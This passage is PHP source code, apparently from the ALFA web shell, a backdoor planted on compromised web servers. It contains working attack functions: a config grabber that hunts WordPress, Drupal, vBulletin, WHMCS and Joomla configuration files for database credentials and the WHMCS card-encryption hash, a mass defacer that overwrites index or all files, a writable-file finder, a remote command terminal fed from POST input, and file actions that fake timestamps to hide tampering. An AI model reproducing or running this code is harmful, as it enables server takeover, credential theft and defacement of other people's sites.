	echo \'<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Archive file: <input size="50" id="target" type="text" name="file" value="\'.$file.\'">
	<input type="submit" name="btn" value=" "></div></form></center><br>\';
	if($_POST[\'alfa5\']==\'>>\'){
		//echo __pre();
		echo \'<hr><div style="margin-left: 12px;" archive_full="phar://\'.$file.\'" archive_name="\'.basename($file).\'" id="archive_dir_\'.$rand_id.\'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>\';
		echo \'<div style="padding: 10px;" id="archive_base_\'.$rand_id.\'">\';
		__alfa_open_archive_file($file, $rand_id);
		echo \'</div>\';
	}
	echo \'</div>\';
	alfafooter();
}
function __alfa_open_archive_file($arch, $base_id=0){
	try{
		$files = array();
		$dirs = array();
		$archive = new PharData($arch);
		 foreach($archive as $file) {
			 $file_modify = @date(\'Y-m-d H:i:s\', @filemtime($file->getPathname()));
		     if($file->isDir()) {
				 $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
		     }else{
				 $file_size = @filesize($file->getPathname());
				 $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file",  "modify" => $file_modify, "size" => $file_size);
			 }
		 }
		 function __alfa_open_archive_usort($a, $b){
			 return strcmp(strtolower($a[\'name\']), strtolower($b[\'name\']))*1;
		 }
		 usort($dirs, "__alfa_open_archive_usort");
		 usort($files, "__alfa_open_archive_usort");
		 $files = array_merge($dirs, $files);
		 echo \'<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>\';
		 $icon = \'<img class="archive-icons" src="\'.findicon(\'..\',\'dir\').\'" width="30" height="30">\';
		 echo \'<tr><th><a base_id="\'.$base_id.\'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="\'.dirname($arch.\'.php\').\'">\'.$icon.\'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>\';
		 foreach($files as $file){
			 $icon = \'<img class="archive-icons" src="\'.findicon($file[\'name\'],$file[\'type\']).\'" width="30" height="30">\';
			 if($file["type"] == "dir"){
			 	echo \'<tr><th><a base_id="\'.$base_id.\'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="\'.$file["path"].\'" fname="\'.$file["name"].\'">\'.$icon.\'<span class="archive-name archive-type-dir">| \'.$file["name"].\' |</span></a><td>dir</td><td>\'.$file["modify"].\'</td><td>-</td></tr>\';
		 	}else{
				echo "<tr><th><a base_id=\'".$base_id."\' class=\'archive-file-row\' onclick=\"editor(\'".$file["path"]."\',\'auto\',\'\',\'\',\'\',\'file\');\">".$icon."<span class=\'archive-name archive-type-file\' fname=\'".$file["name"]."\'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";

			}
		 }
		  echo \'</table>\';
	}catch(Exception $e){
		echo("0");
	}
}
function alfaopen_archive_dir(){
	$dir = $_POST["alfa1"];
	$base_id = $_POST["alfa2"];
	__alfa_open_archive_file($dir, $base_id);
}
function alfaconfig_grabber(){
	alfahead();
	echo \'<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>\';
	echo \'<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Dir: <input size="50" id="target" type="text" name="dir" value="\'.$GLOBALS[\'cwd\'].\'">
	Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
	<input type="submit" name="btn" value=" "></div></form></center><br>\';
	$dir = $_POST[\'alfa2\'];
	$ext = $_POST[\'alfa3\'];
	if($_POST[\'alfa5\']==\'>>\'){
		echo __pre();
		Alfa_ConfigGrabber($dir, $ext);
	}
	echo \'</div>\';
	alfafooter();
}
function Alfa_ConfigGrabber($dir, $ext) {
	$pattern = "#define[ ]{0,}\([ ]{0,}(?:\'|\")DB_HOST(?:\'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:\'|\")DB_HOSTNAME(?:\'|\")[ ]{0,}|config\[(?:\'|\")MasterServer(?:\'|\")\]\[(?:\'|\")password(?:\'|\")\]|(?:\'|\")database(?:\'|\")[ ]{0,}=>[ ]{0,}(?:\'|\")(.*?)(?:\'|\")|(?:\'|\")(mysql|database)(?:\'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
	$db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
	if(@is_readable($dir)){
		$globFiles = @glob("$dir/*.$ext");
		$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);
		$blacklist = array();
		foreach ($globDirs as $dir) {
			if(!@is_readable($dir)||@is_link($dir)) continue;
			@Alfa_ConfigGrabber($dir, $ext);
		}
		foreach ($globFiles as $file){
			$filee = @file_get_contents($file);
			if(preg_match($pattern, $filee)){
				echo "<div><span>$file</span> <a style=\'cursor:pointer;\' onclick=\"editor(\'".$file."\',\'auto\',\'\',\'\',\'\',\'file\');\">[ View file ]</a></div>";
			}
		}
	}
}
function alfasearcher(){
alfahead();
echo \'<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>\';
if(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'file\'){
echo \'<center><div class="txtfont_header">| Find Readable Or Writable Files  |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="\'.$GLOBALS[\'cwd\'].\'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>\';
$dir = $_POST[\'alfa2\'];
$ext = $_POST[\'alfa3\'];
$method = $_POST[\'alfa4\'];
if($_POST[\'alfa5\']==\'>>\'){
echo __pre();
if(substr($dir,-1)==\'/\')$dir=substr($dir,0,-1);
Alfa_Searcher($dir,trim($ext),$method);
}
}
if($_POST[\'alfa1\']==\'str\'){
echo \'<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="\'.$GLOBALS[\'cwd\'].\'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>\';
$dir = $_POST[\'alfa2\'];
$string = $_POST[\'alfa3\'];
$ext = $_POST[\'alfa5\'];
if(!empty($string) AND !empty($dir) AND $_POST[\'alfa4\'] == \'>>\'){
echo __pre();
Alfa_StrSearcher($dir,$string,$ext,$_POST[\'alfa6\']);
}
}
echo \'</div>\';
alfafooter();
}
function alfaMassDefacer(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo "<div class=header><center><p><div class=\'txtfont_header\'>| Mass Defacer |</div></p><form onSubmit=\"g(\'MassDefacer\',null,this.massdir.value,this.defpage.value,this.method.value,\'>>\');return false;\" method=\'post\'>";
echo \'<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
	Mass dir: <input size="50" id="target" type="text" name="massdir" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
	DefPage: <input size="50" type="text" name="defpage" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"></div> <input type="submit" name="btn" value=" "></center></p>
</form>\';
$dir = $_POST[\'alfa1\'];
$defpage = $_POST[\'alfa2\'];
$method = $_POST[\'alfa3\'];
$fCurrent = $GLOBALS[\'__file_path\'];
if($_POST[\'alfa4\'] == \'>>\'){
if(!empty($dir)){
if(@is_dir($dir)){
if(@is_readable($dir)){
if(@is_file($defpage)){
if($dh = @opendir($dir)){
echo __pre();
while (($file = @readdir($dh)) !== false){
if($file == \'..\' || $file == \'.\')continue;
$newfile=$dir.$file;
if($fCurrent == $newfile)continue;
if(@is_dir($newfile)){
Alfa_ReadDir($newfile,$method,$defpage);
}else{
if(!@is_writable($newfile))continue;
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}else{__alert(\'<font color="red">Error In OpenDir...</font>\');}
}else{__alert(\'<font color="red">DefPage File NotFound...</font>\');}
}else{__alert(\'<font color="red">Directory is not Readable...</font>\');}
}else{__alert(\'<font color="red">Mass Dir is Invalid Dir...</font>\');}
}else{__alert(\'<font color="red">Dir is Empty...</font>\');}
}
echo \'</div>\';
alfafooter();
}
function Alfa_ReadDir($dir,$method=\'\',$defpage=\'\'){
if(!@is_readable($dir)) return false;
if (@is_dir($dir)) {
if ($dh = @opendir($dir)) {
while(($file=readdir($dh))!==false) {
if($file == \'..\' || $file == \'.\')continue;
$newfile=$dir.\'/\'.$file;
if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);
if(@is_file($newfile)){
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}
}
}
function Alfa_Rewriter($dir,$file,$defpage,$m=\'index\'){
if(!@is_writable($dir)) return false;
if(!@is_readable($dir)) return false;
$defpage=@file_get_contents($defpage);
if($m == \'index\'){
$indexs = array(\'index.php\',\'index.htm\',\'index.html\',\'default.asp\',\'default.aspx\',\'index.asp\',\'index.aspx\',\'index.js\');
if(in_array(strtolower($file),$indexs)){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."<b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';
}
}elseif($m==\'all\'){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."  <b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';
}
}
function alfaGetDisFunc(){
alfahead();
echo \'<div class="header">\';
$disfun = @ini_get(\'disable_functions\');
$s = explode(\',\',$disfun);
$f = array_unique($s);
echo \'<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>\';
$i=1;
foreach($f as $s){
$s=trim($s);
if(function_exists($s)||!is_callable($s))continue;
echo \'<tr><td align="center" style="background-color: black;">\'.$i.\'</td>\';
echo \'<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.\'.str_replace(\'_\',\'-\',$s).\'.php"><span class="disable_functions"><b>\'.$s.\'</b></span></a></td>\';
$i++;
}
echo \'</table></center>\';
echo \'</div>\';
alfafooter();
}
function Alfa_Create_A_Tag($action,$vals){
$nulls = array();
foreach($vals as $key => $val){
echo \'<a href=javascript:void(0) onclick="g(\'\'.$action.\'\',\';
for($i=1;$i<=$val[1]-1;$i++)$nulls[] = \'null\';
$f = implode(\',\',$nulls);
echo $f.\',\'\'.$val[0].\'\');return false;">| \'.$key.\' | </a>\';
unset($nulls);
}
}
function Alfa_Searcher($dir, $ext, $method) {
if(@is_readable($dir)){
if($method == \'all\')$ext = \'*\';
if($method == \'dirs\')$ext = \'*\';
$globFiles = @glob("$dir/*.$ext");
$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Alfa_Searcher($dir, $ext, $method);
}
switch($method){
case "files":
foreach ($globFiles as $file){
if(@is_writable($file)){
echo "$file<br>";
}
}
break;
case "dirs":
foreach ($globFiles as $file){
if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){
echo dirname($file).\'<br>\';
$blacklist[] = dirname($file);
}
}
break;
case "all":
foreach ($globFiles as $file){
echo $file.\'<br>\';
}
break;
}
unset($blacklist);
}
}
function AlfaiFrameCreator($f,$width=\'100%\',$height=\'600px\'){
return(\'<iframe src="\'.__ALFA_DATA_FOLDER__."/".$f.\'" width="\'.$width.\'" height="\'.$height.\'" frameborder="0"></iframe>\');
}
class AlfaCURL {
public $headers;
public $user_agent;
public $compression;
public $cookie_file;
public $proxy;
public $path;
public $ssl = true;
public $curl_status = true;
function __construct($cookies=false,$compression=\'gzip\',$proxy=\'\'){
if(!extension_loaded(\'curl\')){$curl_status = false;return false;}
$this->headers[] = \'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg\';
$this->headers[] = \'Connection: Keep-Alive\';
$this->headers[] = \'Content-type: application/x-www-form-urlencoded;charset=UTF-8\';
$this->user_agent = \'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)\';
$this->path = ALFA_TEMPDIR.\'/Alfa_cookies.txt\';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if($this->cookies)$this->cookie($this->path);
}
function cookie($cookie_file) {
if (_alfa_file_exists($cookie_file,false)) {
$this->cookie_file=$cookie_file;
}else{
@fopen($cookie_file,\'w\') or die($this->error(\'The cookie file could not be opened.\'));
$this->cookie_file=$cookie_file;
@fclose($this->cookie_file);
}
}
function Send($url,$method="get",$data=""){
if(!$this->curl_status){return false;}
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if($this->ssl){
curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);
curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);
}
if($this->cookies){
curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
}
if($this->proxy){
curl_setopt($process, CURLOPT_PROXY, $this->proxy);
}
if($method==\'post\'){
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_HTTPHEADER, array(\'Content-Type: application/x-www-form-urlencoded\'));
}
$return = @curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style=\'width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px\'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
function getConfigHtml($cms){
$content = \'\';
$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");
$content .= "<form class=\'getconfig\' onSubmit=\'g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;\'><div class=\'txtfont\'>Cms: </div> <select name=\'cms\'style=\'width:100px;\'>";
foreach($cms_array as $key => $val){
$content .= "<option value=\'{$key}\' ".($key==$cms?\'selected=selected\':\'\').">{$val}</option>";
}
$content .= "</select> <div class=\'txtfont\'>Path(installed cms/Config): </div> <input type=\'text\' name=\'path\' value=\'".$_SERVER[\'DOCUMENT_ROOT\']."/\' size=\'30\' /> <button class=\'button\'>GetConfig</button>";
$content .= "</form>";
return $content;
}
if (!function_exists(\'json_encode\')){
    function json_encode($a=false){
        if (is_null($a)) return \'null\';
        if ($a === false) return \'false\';
        if ($a === true) return \'true\';
        if (is_scalar($a))
        {
            if (is_float($a))
            {
                return floatval(str_replace(",", ".", strval($a)));
            }

            if (is_string($a))
            {
                static $jsonReplaces = array(array("\", "/", "
", "	", "
", "", "", \'"\'), array(\'\\\', \'\/\', \'\n\', \'\t\', \'\r\', \'\b\', \'\f\', \'\"\'));
                return \'"\' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . \'"\';
            }
            else
            return $a;
        }
        $isList = true;
        for ($i = 0, reset($a); $i < count($a); $i++, next($a))
        {
            if (key($a) !== $i)
            {
                $isList = false;
                break;
            }
        }
        $result = array();
        if ($isList)
        {
            foreach ($a as $v) $result[] = json_encode($v);
            return \'[\' . join(\',\', $result) . \']\';
        }
        else
        {
            foreach ($a as $k => $v) $result[] = json_encode($k).\':\'.json_encode($v);
            return \'{\' . join(\',\', $result) . \'}\';
        }
    }
}
if ( !function_exists(\'json_decode\') ){
function json_decode($json, $array=true){
    $comment = false;
    $out = \'$x=\';
    for ($i=0; $i<strlen($json); $i++)
    {
        if (!$comment)
        {
            if ($json[$i] == \'{\' || $json[$i] == \'[\'){$out .= \' array(\';}
            else if ($json[$i] == \'}\' || $json[$i] == \']\'){$out .= \')\';}
            else if ($json[$i] == \':\'){$out .= \'=>\';}
            else {$out .= $json[$i];}
        }
        else $out .= $json[$i];
        if ($json[$i] == \'"\')    $comment = !$comment;
    }
    eval($out . \';\');
    return $x;
}
}
function alfaterminalExec(){
	$pwd = "pwd";
	$seperator = ";";
	if($GLOBALS[\'sys\']!=\'unix\'){
		$pwd = "cd";
		$seperator = "&";
	}
	if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd \'".addslashes($_POST["c"])."\'".$seperator;}
	$current_path = \'\';
	if(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST[\'alfa1\'], $match)){
		if(empty($match[1])){
			$match[1] = $match[2];
		}
		$current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);
		$current_path = str_replace("\", "/", $current_path);
	}
	$out = alfaEx($cmd.$_POST[\'alfa1\'], true);
	$out = htmlspecialchars($out);
	echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code) {
    $dictionary = array(
        \'[01;30m\' => \'<span style="color:black">\',
        \'[01;31m\' => \'<span style="color:red">\',
        \'[01;32m\' => \'<span style="color:green">\',
        \'[01;33m\' => \'<span style="color:yellow">\',
        \'[01;34m\' => \'<span style="color:blue">\',
        \'[01;35m\' => \'<span style="color:purple">\',
        \'[01;36m\' => \'<span style="color:cyan">\',
        \'[01;37m\' => \'<span style="color:white">\',
        \'[0m\'   => \'</span>\'
    );
    $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
    return $htmlString;
}
function alfadoActions(){
	$chdir_fals = false;
	if(!@chdir($_POST[\'c\'])){
		$chdir_fals = true;
		$alfa_canruncmd = _alfa_can_runCommand(true,true);
	}
	if(isset($_POST[\'alfa1\']))$_POST[\'alfa1\'] = rawurldecode($_POST[\'alfa1\']);
	if(isset($_POST[\'alfa2\']))$_POST[\'alfa2\'] = rawurldecode($_POST[\'alfa2\']);
	$action = $_POST["alfa3"];
	if($action == "permission"){
		$perms = 0;
		$perm = $_POST["alfa2"];
		for($i=strlen($perm)-1;$i>=0;--$i){
			$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));
		}
		if(@chmod($_POST[\'alfa1\'], $perms)){
			echo("done");
		}else{
			echo("no");
		}
		return;
	}
	if($action == "rename" || $action == "move"){
		$alfa1_decoded = $_POST[\'alfa1\'];
		if($chdir_fals){
			$_POST[\'alfa1\'] = $_POST["c"]."/".$_POST["alfa1"];
		}
		$_POST[\'alfa1\'] = trim($_POST[\'alfa1\']);
		$alfa1_escape = addslashes($_POST["alfa1"]);
		if($_POST["alfa3"] == "rename"){
			$_POST[\'alfa2\'] = basename($_POST[\'alfa2\']);
		}
		if(!empty($_POST[\'alfa2\'])){
			$cmd_rename = false;
			if($chdir_fals&&$alfa_canruncmd){
				if(_alfa_is_writable($_POST[\'alfa1\'])){
					$cmd_rename = true;
					$alfa1_escape = addslashes($alfa1_decoded);
					alfaEx("cd \'".addslashes($_POST[\'c\'])."\';mv \'".$alfa1_escape."\' \'".addslashes($_POST[\'alfa2\'])."\'");
				}
			}
			if(!file_exists($_POST[\'alfa2\'])){
				if(@rename($_POST[\'alfa1\'], $_POST[\'alfa2\'])||$cmd_rename){
					echo "done";
				}else{
					echo "no";
				}
			}else{
				echo "no";
			}
		}
	}elseif($action == "copy"){
		if(is_dir($_POST["alfa1"])){
			$dir = str_replace(\'//\', \'/\', $_POST["alfa1"]);
			$dir = explode(\'/\', $dir);
			if(empty($dir[count($dir) - 1])){
				$name = $dir[count($dir) - 2];
			}else{
				$name = $dir[count($dir) - 1];
			}
		}else{
			$name = basename($_POST["alfa1"]);
		}
		$dir = dirname($_POST["alfa1"]);
		if($dir == "."){
			$dir = $_POST["c"]."/";
		}
		if(is_file($_POST["alfa1"])){
			@copy($_POST["alfa1"], $_POST["alfa2"]);
			echo("done");
		}elseif(is_dir($_POST["alfa1"])){
			if(!is_dir($_POST["alfa2"])){
				mkdir($_POST["alfa2"], 0755, true);
			}
			copy_paste($dir, $name , $_POST["alfa2"] . "/");
			echo("done");
		}
	}elseif($action == "modify"){
		if( !empty($_POST[\'alfa1\']) ) {
			$time = strtotime($_POST[\'alfa1\']);
			if($time){
				$touched = false;
				if($chdir_fals&&$alfa_canruncmd){
					alfaEx("cd \'".addslashes($_POST["c"])."\';touch -d \'".htmlspecialchars(addslashes($_POST[\'alfa1\']))."\' \'".addslashes($_POST[\'alfa2\'])."\'");
					$touched = true;
				}
				if(!@touch($_POST[\'alfa2\'],$time,$time)&&!$touched){
					echo \'no\';
				}else{
					echo \'ok\';
				}
			} else{
				 echo \'badtime\';
			}
		}
	}

}
function alfaget_flags(){
	$flags = array();
	if(function_exists("curl_version")){
		$curl = new AlfaCURL();
		$server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER[\'SERVER_NAME\']):\'????\'):@$_SERVER["SERVER_ADDR"]);
		$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
		$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
		if(strpos($flag2, "geoplugin") != false){
			$flag = json_decode($flag, true);
			$flag2 = json_decode($flag2, true);
			if(!empty($flag[\'geoplugin_countryCode\'])){
				$flags["server"]["name"] = $flag[\'geoplugin_countryName\'];
				$flags["server"]["code"] = $flag[\'geoplugin_countryCode\'];
			}
			if(!empty($flag2[\'geoplugin_countryCode\'])){
				$flags["client"]["name"] = $flag2[\'geoplugin_countryName\'];
				$flags["client"]["code"] = $flag2[\'geoplugin_countryCode\'];
			}
		}
	}
	echo json_encode($flags);
}
function alfaGetConfig(){
$cms = $_POST[\'alfa1\'];
$path = trim($_POST[\'alfa2\']);
$config = array(
\'wp\'=>array(\'file\'=>\'/wp-config.php\',
\'host\'=>array("/define[ ]{0,}\([ ]{0,}(?:\'|\")DB_HOST(?:\'|\")[ ]{0,},[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,}\)[ ]{0,};/",1),
\'dbname\'=>array("/define[ ]{0,}\([ ]{0,}(?:\'|\")DB_NAME(?:\'|\")[ ]{0,},[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,}\)[ ]{0,};/",1),
\'dbuser\'=>array("/define[ ]{0,}\([ ]{0,}(?:\'|\")DB_USER(?:\'|\")[ ]{0,},[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,}\)[ ]{0,};/",1),
\'dbpw\'=>array("/define[ ]{0,}\([ ]{0,}(?:\'|\")DB_PASSWORD(?:\'|\")[ ]{0,},[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,}\)[ ]{0,};/",1),
\'prefix\'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,};/",1)
),
\'drupal\'=>array(\'file\'=>\'/config.php\',
\'host\'=>array("/define[ ]{0,}\([ ]{0,}(?:\'|\")DB_HOSTNAME(?:\'|\")[ ]{0,},[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,}\)[ ]{0,};/",1),
\'dbname\'=>array("/define[ ]{0,}\([ ]{0,}(?:\'|\")DB_DATABASE(?:\'|\")[ ]{0,},[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,}\)[ ]{0,};/",1),
\'dbuser\'=>array("/define[ ]{0,}\([ ]{0,}(?:\'|\")DB_USERNAME(?:\'|\")[ ]{0,},[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,}\)[ ]{0,};/",1),
\'dbpw\'=>array("/define[ ]{0,}\([ ]{0,}(?:\'|\")DB_PASSWORD(?:\'|\")[ ]{0,},[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,}\)[ ]{0,};/",1),
\'prefix\'=>array("/define[ ]{0,}\([ ]{0,}(?:\'|\")DB_PREFIX(?:\'|\")[ ]{0,},[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,}\)[ ]{0,};/",1)
),
\'drupal2\'=>array(\'file\'=>\'/sites/default/settings.php\',
\'host\'=>array("/(?:\'|\")host(?:\'|\")[ ]{0,}=>[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,},/",1),
\'dbname\'=>array("/(?:\'|\")database(?:\'|\")[ ]{0,}=>[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,},/",1),
\'dbuser\'=>array("/(?:\'|\")username(?:\'|\")[ ]{0,}=>[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,},/",1),
\'dbpw\'=>array("/(?:\'|\")password(?:\'|\")[ ]{0,}=>[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,},/",1),
\'prefix\'=>array("/(?:\'|\")prefix(?:\'|\")[ ]{0,}=>[ ]{0,}(?:\'|\")(.*?)(?:\'|\")[ ]{0,},/",1)
),
\'vb\'=>array(\'file\'=>\'/includes/config.php\',
\'host\'=>array("/config\[(?:\'|\")MasterServer(?:\'|\")\]\[(?:\'|\")servername(?:\'|\")\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\")[ ]{0,};/",3),
\'dbuser\'=>array("/config\[(?:\'|\")MasterServer(?:\'|\")\]\[(?:\'|\")username(?:\'|\")\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\")[ ]{0,};/",3),
\'dbname\'=>array("/config\[(?:\'|\")Database(?:\'|\")\]\[(?:\'|\")dbname(?:\'|\")\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\")[ ]{0,};/",3),
\'dbpw\'=>array("/config\[(?:\'|\")MasterServer(?:\'|\")\]\[(?:\'|\")password(?:\'|\")\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\")[ ]{0,};/",3),
\'prefix\'=>array("/config\[(?:\'|\")Database(?:\'|\")\]\[(?:\'|\")tableprefix(?:\'|\")\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\")[ ]{0,};/",3)
),
\'phpnuke\'=>array(\'file\'=>\'/config.php\',
\'host\'=>array(\'/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/\',3),
\'dbname\'=>array(\'/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/\',3),
\'dbuser\'=>array(\'/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/\',3),
\'dbpw\'=>array(\'/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/\',3),
\'prefix\'=>array(\'/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/\',3)
),
\'smf\'=>array(\'file\'=>\'/Settings.php\',
\'host\'=>array("/db_server(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbname\'=>array("/db_name(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbuser\'=>array("/db_user(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbpw\'=>array("/db_passwd(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'prefix\'=>array("/db_prefix(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3)
),
\'whmcs\'=>array(\'file\'=>\'/configuration.php\',
\'host\'=>array("/db_host(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbname\'=>array("/db_name(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbuser\'=>array("/db_username(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbpw\'=>array("/db_password(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'cc_encryption_hash\'=>array("/cc_encryption_hash(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3)
),
\'joomla\'=>array(\'file\'=>\'/configuration.php\',
